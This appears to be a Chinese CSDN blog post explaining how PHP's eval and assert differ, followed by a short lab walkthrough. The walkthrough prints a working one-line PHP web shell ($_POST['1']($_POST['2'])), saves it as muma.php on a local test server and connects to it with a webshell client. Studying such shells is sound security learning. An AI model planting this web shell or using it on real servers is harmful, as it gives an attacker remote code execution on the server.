eval与assert区别

文章讨论了PHP中的eval和assert函数的区别,eval作为一个语言构造器更严格,常用于执行代码字符串,而assert作为可变函数主要用于断言检查。文章还提到了它们在创建一句话木马中的潜在作用,强调了安全问题。
摘要由CSDN通过智能技术生成


一、eval和assert的区别

1. eval定义和用法
  • eval会把字符串当作PHP代码来执行
  • eval语法非常严格,所有的要执行的php字符串都必须完整,且以分号结尾
  • 如果字符串中带有return,会立刻终止执行并返回NULL
  • 如果代码中存在解析错误,则 eval() 函数返回 false
2. assert的定义与用法
  • assert会把字符串当作PHP代码来执行

  • assert被认定为一个可变函数

    <?php
        $a = 'assert';
    	$a('phpinfo()');
    ?>
       # 这就是可变函数
    
3. eval与assert的不同点
  • eval 是一个语言构造器 (PHP关键字符),不能够使用像可变函数那样被调用,而assert可以那样被调用
  • eval规范更加严格一些(字符串必须以分号结尾),必须符合PHP代码要求,assert则没有那么严格,执行PHP表达式即可

二、eval和assert在一句话木马的作用

假如我上传的木马文件代码如下所示:

<? $_POST['1']($_POST['2']); ?>
    # $_POST['1']要传递为一个可变函数
    # $_POST['2']是要执行的字符串

$_POST['1']可以上传assert,$_POST[‘2’]可以上传assert和eval

我的服务器地址是192.168.93.134(本地服务器),所以我在根目录下面创建了muma.php文件,文件中的内容如下所示:

<? $_POST['1']($_POST['2']); ?>

类容是一句话木马,连接密码是2.

  1. 右键点击添加数据

  1. url填写http://192.168.93.134/muma.php,连接密码填写1

在这里插入图片描述

在这里插入图片描述

如上所示,点击测试连接,可以查看是否能够连接成功,点击添加就可以进行文件操作下:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

三年之约-第一年

你的鼓励是对我最大的鼓励

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值